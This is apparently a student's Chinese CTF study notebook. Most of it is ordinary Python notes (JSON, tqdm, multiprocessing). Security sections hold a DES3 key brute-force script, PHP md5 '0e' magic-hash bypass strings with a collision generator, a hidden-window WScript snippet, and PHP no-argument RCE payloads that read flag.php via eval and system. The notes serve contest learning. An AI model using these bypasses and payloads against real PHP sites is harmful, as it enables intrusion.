

## 实用小笔记

### 操作系统

使用 `wscript.shell` 创建隐藏窗口

### Python

Python 中 `int` 转 `bytes` 的方法

使用 `int.to_bytes()`

示例代码

将 Python 对象转换为 JSON 字符串

格式化 JSON 的方法

从 JSON 字符串加载并格式化

Triple DES\_Decode - Python

Python 实现进度条

主要参数

更新后的第七届省赛CTF决赛签到爆破脚本

Python 中没有总工作量的进度条

代码示例:

Python 中的多进程

主要功能

1. 创建进程:

**示例代码:**

2. 进程间通信:

**示例代码:**

3. 共享数据

**示例代码:**

4. 进程池

**示例代码:**

5. 同步机制

**示例代码:**

`multiprocessing` 中的 `Event` 类

代码示例:

Python 中的 `string` 模块

`ascii_letters` -- Python3

`string.digits`

示例代码:

Python 中的 `random` 模块

代码示例:

Python 中的 `Crypto.Cipher` 模块

### MD5

单MD5绕过

双MD5碰撞绕过

MD5碰撞脚本

MD5碰撞总结

### RCE

命令执行一

涉及函数

常见函数

操作系统命令(输出函数)

命令执行函数

获取文件内容函数

无参数RCE

### Crypto

### 报错学习

# 实用小笔记

## 操作系统

### 使用 `WScript.Shell` 创建隐藏窗口

你可以使用 `WScript.Shell` 对象来执行一个命令，并将其窗口设置为隐藏。以下是一个代码示例：

```
1 Dim objShell
2 Set objShell = CreateObject("WScript.Shell")
3 objShell.Run "your_script.bat", 0, False
4 Set objShell = Nothing
```

在这个例子中，`your_script.bat` 是你想要运行的批处理文件。第二个参数 `0` 表示窗口的状态为隐藏。第三个参数 `False` 表示该脚本在运行时不会等待该命令完成。

## Python

### Python 中 `int` 转 `bytes` 的方法

在 Python 中，可以使用 `int.to_bytes()` 方法将整数转换为字节对象。这个方法允许你指定字节数和字节序 (endianness)。以下是如何将整数转换为字节的基本用法。

#### 使用 `int.to_bytes()`

`int.to_bytes(length, byteorder)` 方法的参数：

- `length`：要生成的字节数。如果你希望将一个整数转换为一个特定字节数的字节对象，你需要知道该整数的范围。
- `byteorder`：字节序，可以是 `big` 或 `little`，分别表示大端序和小端序。

#### 示例代码

```
1 number = 193
2 num_bytes = number.to_bytes(1, byteorder='big')
3 print(f"Integer:{number}")
4 print(f"Bytes:{num_bytes}")
5 # 转换多个整数为字节
6 # 将 RGBA 值转换为字节
7 rgba_values = [193, 147, 232, 33]
8 bytes_array = bytes(rgba_values) # 使用 bytes() 转换列表为字节
9 print(f"RGBA as bytes:{bytes_array}")
```

# 将 Python 对象转换为 JSON 字符串

## 格式化 JSON 的方法

1. 使用 `json.dumps()`：将 Python 对象转换为格式化的 JSON 字符串。
2. 使用 `indent` 参数：指定缩进的空格数，使 JSON 数据更易读。
3. 设置 `sort_keys` 参数：如果设置为 `True`，字典的键将按字母顺序排序。

```
1 import json
2 # 示例 JSON 数据 (Python 字典)
3 data = {
4     "name": "Alice",
5     "age": 30,
6     "city": "New York",
7     "is_student": False,
8     "courses": ["Math", "Science"],
9     "address": {
10         "street": "123 Main St",
11         "zipcode": "10001"
12     }
13 }
14 # 将 Python 字典转换为格式化的 JSON 字符串
15 formatted_json = json.dumps(data, indent=4, sort_keys=True)
16 # 打印格式化后的 JSON 字符串
17 print(formatted_json)
```

## 从 JSON 字符串加载并格式化

如果你有一个 JSON 字符串，你可以使用 `json.loads()` 加载它，然后再使用 `json.dumps()` 格式化：

```
1 json_string = '{"name": "Bob", "age": 25, "city": "Los Angeles"}'
2 # 从 JSON 字符串加载
3 data = json.loads(json_string)
4 # 格式化 JSON 数据
5 formatted_json = json.dumps(data, indent=4)
6 # 打印格式化后的 JSON 字符串
7 print(formatted_json)
```

## Triple DES\_Decode - Python

```
1 from Crypto.Cipher import DES3
2 from tqdm import trange
3 cpt = 'ABCD'
4 c =
5     long_to_bytes(0x570fc2416dad7569c13356820ba67ba628c6a5fcbc73f1c8689612d23c3a
6     779befeacf678f93ff5eb4b58dc09dcb9a89)
7
8 for i in range(2^18):
9     k = ''
10    n = i
11    for _ in range(9):
```

```

10     k += cpt[n%4]
11     n //= 4
12     des3 = DES3.new(mode = DES3.MODE_CBC, iv = b'12345678', key =
b'D'+k.encode()+b'000000')
13     if b'DASCTF' in des3.decrypt(c):
14         des3 = DES3.new(mode = DES3.MODE_CBC, iv = b'12345678', key =
b'D'+k.encode()+b'000000')
15         print(des3.decrypt(c))
16         break

```

## Python 实现进度条

在 Python 中可以使用 `tqdm` 库来实现进度条，这个库不仅可以轻松地创建进度条，而且一般情况下它的性能也很高，不会对程序地效率产生显著的影响。

下面是一个简单的示例，模拟爆破(破解密码)过程，并使用 `tqdm` 显示进度条

```

1  import time
2  import random
3  from tqdm import tqdm
4  def brute_force_password(target_password, charset, max_length):
5      attempts = 0
6      total_attempts = len(charset) ** max_length ## 计算总的尝试次数
7      # 使用 tqdm 创建进度条
8      with tqdm(total=total_attempts, desc="Brute forcing", unit="attempt") as
pbar:
9          for length in range(1, max_length + 1):
10             for attempt in generate_attempts(charset, length):
11                 attempts += 1
12                 # 模拟密码检查
13                 if attempt == target_password:
14                     print(f"Password found: {attempt} in {attempts}
attempts")
15                     return attempts
16                 pbar.update(1) # 更新进度条
17                 time.sleep(0.01) # 添加延迟以模拟工作负荷
18             print("Password not found.")
19             return None
20
21  def generate_attempts(charset, length):
22      """ 生成所有可能的尝试（简单示例，未实现完整的组合生成） """
23      from itertools import product
24      for attempt in product(charset, repeat=length):
25          yield ''.join(attempt)
26
27  # 示例设置
28  target_password = "abc"
29  charset = "abc"
30  max_length = 3
31  brute_force_password(target_password, charset, max_length)

```

## 主要参数

1. iterable:  
类型: 可迭代对象 (如列表、元组、范围等)。  
描述: 待迭代的对象, tqdm 将根据这个对象的长度生成进度条。
2. desc:  
类型: 字符串。  
描述: 进度条的前缀描述, 显示在进度条的左侧, 便于了解当前进度的上下文。
3. total:  
类型: 整数。  
描述: 指定进度条的总数, 通常用于不可迭代的情况下 (例如, 你可能在使用生成器时想要设定一个总数)。
4. leave:  
类型: 布尔值 (True 或 False)。  
描述: 是否在循环结束后保留进度条。默认值是 False, 如果设置为 True, 进度条将在完成后显示在终端中。
5. ncols:  
类型: 整数或 None。  
描述: 指定进度条的宽度, 以字符为单位。如果设置为 None, 则会自动调整以适应终端宽度。
6. mininterval:  
类型: 浮点数。  
描述: 进度条更新的最小时间间隔 (单位: 秒)。如果更新频率过高, 则可能会减少更新频率, 以避免过多的计算开销。
7. maxinterval:  
类型: 浮点数。  
描述: 进度条更新的最大时间间隔 (单位: 秒)。如果进度条更新过慢, 则会增加更新频率。
8. ascii:  
类型: 布尔值或字符串。  
描述: 如果设置为 True, 则使用 ASCII 字符来绘制进度条; 如果设置为 False, 则使用 Unicode 字符。
9. unit:  
类型: 字符串。  
描述: 用于表示每个迭代单位的标签, 默认为 iter, 可以根据需要更改, 例如 file、item 等。
10. unit\_scale:  
类型: 布尔值。  
描述: 如果设置为 True, 则会自动缩放显示的数量。例如, 如果总数是 1000, 将显示为 1.0k。
11. bar\_format:  
类型: 字符串。  
描述: 自定义进度条的格式, 允许用户控制进度条的显示方式。
12. color:  
类型: 字符串。  
描述: 设置进度条的颜色, 通常用于终端支持的颜色名称。

## 更新后的第七届省赛CTF决赛签到爆破脚本

```
1  #!/usr/bin/env python
2  from Crypto.Cipher import DES3
3  from tqdm import tqdm
4  from Crypto.Util.number import long_to_bytes
5  cpt = 'ABCD'
```

```

6  c =
   long_to_bytes(0x570fc2416dad7569c13356820ba67ba628c6a5fcbc73f1c8689612d23c3a
   779befeacf678f93ff5eb4b58dc09dcb9a89)
7  # print(f"c: {c}")
8  with tqdm(total=2**18, desc="Process") as pbar:
9      for i in range(2**18):
10         # print(f"i: {i}")
11         k = ''
12         n = i
13         for _ in range(9):
14             k += cpt[n%4]
15             n //= 4
16         # print(f"k: {k}, i")
17         des3 = DES3.new(mode = DES3.MODE_CBC, iv = b'12345678', key =
b'D'+k.encode()+b'000000')
18         if b'DASCTF' in des3.decrypt(c):
19             # print(f"Get! ==> {des3.decrypt(c)}")
20             des3 = DES3.new(mode = DES3.MODE_CBC, iv = b'12345678', key =
b'D'+k.encode()+b'000000')
21             print(f"Get! ==> {des3.decrypt(c)}")
22             # print(f"Get! ==> {des3.decrypt(c)}")
23             break
24         pbar.update(1)

```

## Python 中没有总工作量的进度条

当我们的爆破工作没有特定的工作量，完全随机的情况下，我们可以通过展示当前正在处理的结果来代替进度条。如果我们在终端中只显示一行，并且每次刷新时展示当前爆破的进度过程，可以使用 ANSI 转义序列来覆盖这一行的内容。具体来说，可以使用 `\r` 来返回首行，覆盖当前行的内容。

### 代码示例：

```

1  #!/usr/bin/env python
2  # -*- coding: utf-8 -*-
3  import multiprocessing
4  import hashlib
5  import random
6  import string
7  import sys
8  # from tqdm import tqdm
9
10 CHARS = string.ascii_letters + string.digits
11 def cmp_md5(substr, stop_event, str_len, start=0, size=20):
12     global CHARS
13     while not stop_event.is_set():
14         rnds = ''.join(random.choice(CHARS) for _ in
range(size)).encode('utf-8') # TypeError: Strings must be encoded before
hashing (添加.encode('utf-8'))
15         md5 = hashlib.md5(rnds)
16         value = md5.hexdigest()
17         # print(f"value:{value}") # 测试代码
18         if value[start: start+str_len] == substr:

```

```

19         # print(rnds)
20         # stop_event.set() # 单 MD5碰撞
21         #碰撞 双MD5等于单MD5
22         md5 = hashlib.md5(value.encode('utf-8')) # TypeError: Strings
must be encoded before hashing (添加.encode('utf-8'))
23         if md5.hexdigest()[start: start+str_len] == substr:
24             print(f"\rFound! ==> {rnds.decode('utf-8')} => {value} =>
{md5.hexdigest()}\n")
25             stop_event.set()
26             if random.random() < 0.01: # 这种不知道总爆破次数的爆破，可以使用显示当前爆
破情况来代替进度条，具体的实现方式通过"\r"让光标返回到当前行的开头，从而覆盖之前的内容即
可。
27                 print(f"\rCurrent: {rnds.decode('utf-8')}", end='')
28
29 if __name__ == '__main__':
30     substr = sys.argv[1].strip()
31     # print(f"substr:{substr}") # 测试代码
32     start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
33     # print(f"start_pos:{start_pos}") # 测试代码
34     str_len = len(substr)
35     cpus = multiprocessing.cpu_count()
36     # print(f"cpus:{cpus}") # 测试代码
37     stop_event = multiprocessing.Event()
38     # print(f"stop_event:{stop_event}")
39     processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos)) for i in range(cpus)]
40     for p in processes:
41         p.start()
42     for p in processes:
43         p.join()

```

## Python 中的多进程

在 Python 中使用 `multiprocessing` 模块进行多进程编程，提供了创建和管理多个进程的能力。它能够让你利用多核处理器的优势，提高程序的并行处理能力。相比于传统的线程模型，`multiprocessing` 使用的是进程而非线程，因此能够有效的避免全局解释器锁(GIL)的问题，从而达到真正的并行。

### 主要功能

#### 1. 创建进程:

`multiprocessing` 提供了 `Process` 类，允许你创建新的进程。每个进程都有自己的内存空间，彼此之间不会干扰。

#### 示例代码:

```

1 from multiprocessing import Process
2
3 def worker():
4     p = Process(target=worker)
5     p.start()
6     p.join() # 等待进程结束

```

## 2. 进程间通信:

`multiprocessing` 提供了多种方式来在进程之间通信, 包括 `Queue` (队列)、`Pipe` (管道)和共享内存等。

示例代码:

```
1 from multiprocessing import Process, Queue
2 def worker(queue):
3     queue.put("Hello from the worker!")
4
5 if __name__ == "__main__":
6     queue = Queue()
7     p = Process(target=worker, args=(queue,))
8     p.start()
9     print(queue.get()) # 获取进程发送的数据
10    p.join()
```

## 3. 共享数据

可以使用 `Value` 和 `Array` 来创建共享的数据对象, 这样多个进程可以共享数据。

示例代码:

```
1 from multiprocessing import Process, Value
2
3 def worker(shared_value):
4     shared_value.value += 1
5
6 if __name__ == "__main__":
7     counter = Value('i', 0) # 创建共享整型变量
8     processes = [Process(target=worker, args=(counter,)) for _ in range(10)]
9     for p in processes:
10        p.start()
11    for p in processes:
12        p.join()
13    print(counter.value)
```

## 4. 进程池

`Pool` 类允许你创建一个进程池, 用于管理多个进程。它提供了一个简单的 API 来并行处理任务。

示例代码:

```
1 from multiprocessing import Pool
2 def square(x):
3     return x * x
4
5 if __name__ == "__main__":
6     with Pool(processes=4) as pool: # 创建一个包含 4 个进程的进程池
7         results = pool.map(square, range(10))
8     print(results) # 输出每个数字的平方
```



## 5. 同步机制

`multiprocessing` 提供了多种同步机制，如 `Lock`、`Event`、`Semaphore` 和 `Condition`，以帮助管理进程之间的同步。

示例代码：

```
1 from multiprocessing import Process, Lock
2 def worker(lock):
3     with lock:
4         print("Lock acquired by worker")
5 if __name__ == "__main__":
6     lock = Lock()
7     processes = [Process(target=worker, args=(lock,)) for _ in range(5)]
8     for p in processes:
9         p.start()
10    for p in processes:
11        p.join()
```

### `multiprocessing` 中的 `Event` 类

`multiprocessing.Event` 是 Python 的 `multiprocessing` 模块中的一个类，用于在多个进程之间进行简单的信号传递和同步。`Event` 对象可以用于多个进程之间的通信，以指示某些条件已经发生或标志某种状态。它为进程之间提供了一种协调机制。

主要功能：

1. 设置状态：`set()` 方法用于将事件的状态设置为"已设置"，这通常表示某个条件已经满足。
2. 清除状态：`clear()` 方法用于将事件的状态设置为"未设置"，这表示条件不再满足。
3. 检查状态：`is_set()` 方法用于检查事件的当前状态，返回 `True` 表示事件已设置，返回 `False` 表示事件未设置。
4. 等待事件：`wait(timeout=None)` 方法用于阻塞当前进程，直到事件被设置。如果在指定的超时(可选)时间内事件未被设置，`wait()` 会返回 `False`；如果事件被设置，则返回 `True`。

代码示例：

```
1 from multiprocessing import Process, Event
2 import time
3 def worker(event):
4     print("Worker: 等待事件...")
5     event.wait() # 等待事件被设置
6     print("Worker: 事件已设置，开始工作！")
7
8 if __name__ == "__main__":
9     event = Event() # 创建一个事件对象
10    p = Process(target=worker, args=(event,))
11    p.start() # 启动进程
12    time.sleep(3) # 主进程等待3秒
13    print("主进程：设置事件！")
14    event.set() # 设置事件，通知工作进程可以继续
15    p.join() # 等待工作进程结束
16    print("主进程：工作进程已结束。")
```

## Python 中的 string 模块

### ascii\_letters -- Python3

- 定义: `string.ascii_letters` 是一个字符串, 包含所有 ASCII 字母(大写和小写)。
- 内容: 这个常量的内容如下

```
1 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
```

- 用途:  
`ascii_letters` 常用于需要处理字母字符的情况, 比如生成随机字符串、验证用户名、密码等。

### string.digits

- 定义: `string.digits` 是一个字符串, 包含所有 ASCII 数字字符。
- 内容: 这个常量的内容为:

```
1 '0123456789'
```

- 用途:  
`digits` 常用于需要处理数字字符的情况, 比如生成随机数字、验证输入的数字等。

#### 示例代码:

```
1 import string
2 import random
3 # 生成一个包含字母和数字的随机字符串
4 def generate_random_string(length):
5     characters = string.ascii_letters + string.digits # 包含字母和数字
6     return ''.join(random.choice(characters) for _ in range(length))
7 # 生成一个长度为 10 的随机字符串
8 random_string = generate_random_string(10)
9 print(random_string)
```

## Python 中的 random 模块

在 Python 的 `random` 模块中, `choice` 方法用于从一个非空序列(如列表、元组或字符串)中随机选择一个元素。它提供了一种便捷的方式来获取随机数据。

#### 代码示例:

```
1 import random
2 fruits = ['apple', 'banana', 'cherry', 'date']
3 letters = 'ABCDEFG'
4 numbers = (1, 2, 3, 4, 5)
5 random_fruit = random.choice(fruits)
6 random_letter = random.choice(letters)
7 random_number = random.choice(numbers)
8 print(random_fruit) # 输出一个随机选择的水果
9 print(random_letter) # 输出一个随机选择的字母
10 print(random_number) # 输出一个随机选择的数字
```

# Python 中的 Crypto.Cipher 模块

[文档地址](#)

## MD5

### 单MD5绕过

CTF 中 md5 判等可使用 0e 绕过，但是如果是双md5该如何绕过呢？本文将教你如何绕过

`md5(md5($_GET['a'])) == md5($_GET['b'])`。

例子

```
1 <?php
2
3 if (isset($_GET['a']) && isset($_GET['b'])) {
4     $a = $_GET['a'];
5     $b = $_GET['b'];
6     if ($a != $b && md5($a) == md5($b)) {
7         echo "flag{xxxxx}";
8     } else {
9         echo "wrong!";
10    }
11
12 } else {
13     echo 'wrong!';
14 }
15 ?>
```

上面只要传入参数 `a=s1885207154a`，`b=s1836677006a`，即可，为什么呢？看一下这两个字符串的md5值可以返现分别如下：

```
1 MD5值:
2 md5("s1885207154a") => 0e509367213418206700842008763514
3 md5("s1836677006a") => 0e481036490867661113260034900752
```

二者都是 0e 开头，在 php 中 0e 会被当做科学计数法，就算后面有字母，其结果也是 0，所以上面的if判断结果使 true，成功绕过！

### 双MD5碰撞绕过

例子

```
1 <?php
2
3 if (isset($_GET['a']) && isset($_GET['b'])) {
4     $a = $_GET['a'];
5     $b = $_GET['b'];
6     if ($a != $b && md5($a) == md5(md5($b))) {
7         echo "flag{xxxxx}";
8     } else {
```

```

9         echo "wrong!";
10     }
11
12 } else {
13     echo 'wrong!';
14 }
15 ?>

```

双面的判断出现了 `md5(md5($b))`，有了前面的铺垫，这里我们第一感觉就是找到一个字符串其 MD5 值的 MD5 仍然是 0e 开头的那就好了。开始的时候我不敢相信，那几率得多小啊，但是在昨天做一道 md5 截断碰撞的时候我就来了灵感，何不尝试一下，结果发现原来这种字符串使真的存在，并且碰撞 0e 开头的时候不到一秒钟就能碰撞到。各位观众，下面请看：

```

1 MD5值:
2 md5("V5VDSHva7fjyJoJ33IQ1") => 0e18bb6e1d5c2e19b63898aeed6b37ea
3 md5("0e18bb6e1*****") => 0e0a710a092113dd5ec9dd47d4d7b86f

```

原来真的存在 0e 开头的 MD5 值其 md5 结果也是 0e 开头，所以此题答案便出来了。 `a=s1885207154a`，`b=V5VDSHva7fjyJoJ33IQ1` 即可绕过 if 判断。

其实上面的这种双 md5 值 0e 开头的字符串有很多，但是网上似乎很见到，几乎没有，下面发布一些。

### 0x03 双MD5结果仍为0e开头字符串大全

```

1 MD5大全:
2 CbDLytmYgm2xQyaLNhwn
3 md5(CbDLytmYgm2xQyaLNhwn) => 0ec20b7c66cafbcc7d8e8481f0653d18
4 md5(md5(CbDLytmYgm2xQyaLNhwn)) => 0e3a5f2a80db371d4610b8f940d296af
5 770hQgrBOjrcqftr1azk
6 md5(770hQgrBOjrcqftr1azk) => 0e689b4f703bdc753be7e27b45cb3625
7 md5(md5(770hQgrBOjrcqftr1azk)) => 0e2756da68ef740fd8f5a5c26cc45064
8 7r4lGXCH2Ksu2JNT3BYM
9 md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849
10 md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f

```

## MD5碰撞脚本

```

1 # -*- coding: utf-8 -*-
2 import multiprocessing
3 import hashlib
4 import random
5 import string
6 import sys
7 CHARS = string.letters + string.digits
8 def cmp_md5(substr, stop_event, str_len, start=0, size=20):
9     global CHARS
10    while not stop_event.is_set():
11        rnds = ''.join(random.choice(CHARS) for _ in range(size))
12        md5 = hashlib.md5(rnds)
13        value = md5.hexdigest()
14        if value[start: start+str_len] == substr:
15            print rnds
16            stop_event.set()
17    '''

```

```

18         #碰撞双md5
19         md5 = hashlib.md5(value)
20         if md5.hexdigest()[start: start+str_len] == substr:
21             print rnds+ "=>" + value+"=>" + md5.hexdigest() + "\n"
22             stop_event.set()
23         '''
24
25 if __name__ == '__main__':
26     substr = sys.argv[1].strip()
27     start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
28     str_len = len(substr)
29     cpus = multiprocessing.cpu_count()
30     stop_event = multiprocessing.Event()
31     processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
32                                                         stop_event, str_len, start_pos))
33                  for i in range(cpus)]
34     for p in processes:
35         p.start()
36     for p in processes:
37         p.join()

```

上面脚本注释部分是双 MD5 碰撞，取消注释然后注释掉 16 行即可。

使用方法： `python md5Crack.py "你要碰撞的字符串"字符串的起始位置`

例如： `python md5Crack.py "0e" 0`

将产生 MD5 值为 0e 开头的字符串。

---

## MD5碰撞总结

---

## RCE

---

### 命令执行一

#### 涉及函数

##### 常见函数

- 1 isset()函数：用于检测变量是否已设置并且非 NULL。
- 2 highlight\_file()函数：对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。
- 3 show\_source()是 highlight\_file() 的别名。
- 4 var\_dump:该函数用于打印显示，一个变量的内容与结构，以及类型的信息。该函数有一个参数第一个参数（必填）第二个参数（选填参数,N）可以多个参数。
- 5 var\_export:此函数返回关于传递给该函数的变量的结构信息，它和var\_dump() 类似，不同的是其返回的表示是合法的 PHP 代码
- 6 eval()函数:用来执行一个字符串表达式，并返回表达式的值。
- 7 next() 将内部指针指向数组中的下一个元素
- 8 glob() 函数返回匹配指定模式的文件名或目录
- 9 array\_reverse(): 将数组逆序排列
- 10 array\_rand(): 随机返回数组的键名
- 11 array\_flip(): 交换数组的键和值
- 12 session\_start(): 告诉PHP使用session;
- 13 session\_id(): 获取到当前的session\_id值;

```
14 rev():将文件中的每行内容以字符为单位反序输出,即第一个字符最后输出,最后一个字符最先输出,依次类推。
15 localeconv() 函数返回一包含本地数字及货币格式信息的数组。
16 current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
17 get_defined_vars
18 gettext拓展的使用:
19 _()是一个函数 ()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll
20
21 ?c=print_r(scandir(current(localeconv())));打印出当前目录下文件
22 show_source(next(array_reverse(scandir(pos(localeconv())))));
23 pos()是PHP中的内置函数,用于返回内部指针当前指向的数组中元素的值。返回值后,pos()函数不会递增或递减内部指针。
24
25 使用print_r()函数,将已经定义好的变量组成的数组进行打印输出。payload:
26 ?c=print_r(get_defined_vars())
27 见ctfshow-web40*
```

## 操作系统命令(输出函数)

```
1 cat函数 由第一行开始显示内容,并将所有内容输出
2 tac函数 从最后一行倒序显示内容,并将所有内容输出
3 nl      类似于cat -n,显示时输出行号
4 more    根据窗口大小,一页一页的现实文件内容
5 less    和more类似,但其优点可以往前翻页,而且进行可以搜索字符
6 head    只显示头几行
7 tail    只显示最后几行
8 xxd     二进制显示
9 rev     逆序
```

## 命令执行函数

```
1 system() 输出并返回最后一行shell结果。
2 exec()   不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
3 passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。(替换system)
```

## 获取文件内容函数

```
1 pos()是current()的别名
2 pos():返回数组中当前元素的值
3 scandir():函数返回一个数组,其中包含指定路径中的文件和目录(获取目录下的文件)
4 localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
```

## 无参数RCE

2024年浙江省赛出现了,当时做的很慢,很久没碰了

在杨杰的笔记中找到了相关的操作:

```
1 ?c =  
  print_r(scandir(current(localeconv())));show_source(next(array_reverse(scandir(pos(localeconv())))))  
2 # 查找定义的变量传参执行:  
3 ?c = print_r(get_defined_vars())  
4 ?c = print_r(next(get_defined_vars()))  
5 ?c = eval(array_pop(next(get_defined_vars())));daigua=system('cat flag.php');
```

---

## Crypto

---

## 报错学习

---

`AttributeError: module 'string' has no attribute 'letters'`

你遇到的错误信息表明在 Python 的 `string` 模块中没有 `letters` 这个属性。这是因为在 Python 3 中, `string.letters` 已被移除。相应的, `string` 模块提供了 `string.ascii_letters` 来表示所有字母字符。

--

## 比赛WP记录

---

[2023浙江省大学生网络与信息安全决赛-Misc篇](#)